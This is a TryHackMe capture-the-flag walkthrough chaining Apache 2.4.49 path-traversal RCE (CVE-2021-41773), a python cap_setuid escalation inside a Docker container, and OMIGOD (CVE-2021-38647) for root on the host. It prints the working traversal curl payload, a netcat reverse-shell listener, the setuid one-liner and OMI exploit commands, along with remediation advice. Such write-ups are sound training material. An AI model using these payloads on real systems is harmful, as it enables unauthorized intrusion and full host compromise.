Oh My WebServer
Apache 2.4.49 (CVE-2021-41773) gives RCE inside a Docker container; a python cap_setuid capability becomes container-root, and the real host behind the bridge runs OMI (OMIGOD, CVE-2021-38647) which is hit for unauthenticated root on the host.
A walkthrough of the “Oh My WebServer” room from TryHackMe — a two-CVE chain. Apache 2.4.49 (CVE-2021-41773) gives code execution inside a Docker container; a cap_setuid capability on python makes us root in the container; and the real host, reachable only on the Docker bridge, runs OMI — so OMIGOD (CVE-2021-38647) hands us unauthenticated root on the host.
Oh My WebServer is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. Both flags are shown as
THM{<redacted>}— real on the box, withheld here.
TL;DR
TL;DR
Apache 2.4.49 (Unix) on 80 → CVE-2021-41773 path-traversal RCE via /cgi-bin/ gives command execution as daemon — inside a Docker container → drop a perl reverse shell → getcap finds /usr/bin/python3.7 = cap_setuid+ep → python3 os.setuid(0) makes us root in the container (user flag) → from the container, scanning the Docker host 172.17.0.1 reveals port 5986 (OMI) → the host is an Azure-style Linux box running OMI, vulnerable to OMIGOD (CVE-2021-38647) → send an unauthenticated SOAP command to get root on the host (root flag) and a reverse shell.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH and an Apache HTTP server whose version is the whole hint:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.49 ((Unix))
Apache 2.4.49 is the vulnerable build for the CVE-2021-41773 path-traversal/RCE, and /cgi-bin/ is present.
The vulnerability
This box stacks two CVEs across a trust boundary: a web RCE that lands you in a container, and a host-side management service (OMI) that gives root on the real machine. The container is a stepping stone, not the goal.
Insight
The clever part is realising you’re in a Docker container and the host is the target. The container exposes only port 80, but scanning the Docker gateway 172.17.0.1 reveals 5986/OMI bound to the host. OMI’s OMIGOD flaw (CVE-2021-38647) treats a request with an empty authentication header as root — so a single unauthenticated SOAP message runs commands as root on the host. A bland management agent, reachable only from inside, is the real crown jewel.
Step 1 — Apache 2.4.49 RCE → shell in the container
The public PoC (EDB 50383) abuses the traversal to execute /bin/sh:
curl 'http://$IP/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' \
--data 'echo Content-Type: text/plain; echo; id'
# uid=1(daemon) gid=1(daemon)
Stage a perl reverse shell the same way (download, chmod, run) and catch it:
nc -lvnp 4444 # -> shell as daemon inside container 4a70924bafa0
Step 2 — python cap_setuid → root in the container (user flag)
daemon@container:/$ getcap -r / 2>/dev/null
# /usr/bin/python3.7 = cap_setuid+ep
daemon@container:/$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
root@container:/# cat /root/user.txt # THM{<redacted>}
Step 3 — find OMI on the Docker host
Inside the container, only port 80 is local, but the Docker gateway is reachable. Upload a static nmap and scan 172.17.0.1:
root@container:/tmp# ./nmap 172.17.0.1 -p- --min-rate 5000
# 22/tcp open ssh ; 80/tcp open http ; 5986/tcp open (OMI)
Port 5986 is OMI (Open Management Infrastructure), the Azure Linux management agent — the OMIGOD target.
Step 4 — OMIGOD (CVE-2021-38647) → root on the host (root flag)
Run the OMIGOD PoC against the host’s OMI port; an empty auth header runs the command as root:
python3 exploit.py -t $IP -p 5986 -c 'id'
# uid=0(root) gid=0(root)
python3 exploit.py -t $IP -p 5986 -c 'cat /root/root.txt'
# THM{<redacted>}
# then stage a reverse shell the same way -> root shell on the host
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). An unauthenticated attacker gains RCE via Apache 2.4.49 (CVE-2021-41773) and becomes root inside the container through an over-granted cap_setuid on python. The host’s OMI service (CVE-2021-38647, OMIGOD) then grants unauthenticated root on the host itself — full compromise of both the container and the underlying machine.
Recommended fix
Fix
- Patch Apache (2.4.49/2.4.50 are vulnerable; update and disable
mod_cgi/cgi-binif unused; don’t allowrequire all grantedon the filesystem root). - Don’t grant
cap_setuidto interpreters like python inside containers; it’s an instant root. - Patch OMI to 1.6.8-1+ and don’t expose 5986 (OMI); firewall management ports to trusted hosts only. OMIGOD authenticates an empty header as root.
- Harden the container boundary — the container could reach a privileged host service; segment the Docker network and least-privilege the host agents.
Takeaways
- Version is the vuln. Apache 2.4.49 is CVE-2021-41773; recognise it on sight.
cap_setuidon python = root.getcap -r /belongs in every container enum.- Scan the Docker gateway.
172.17.0.1often exposes host services the container can reach but you can’t from outside. - OMIGOD is auth-bypass root. An empty auth header to OMI runs as root — one of the cleanest 2021 CVEs.
Oh My WebServer is a crisp two-CVE chain that teaches container-to-host thinking. Thanks for reading.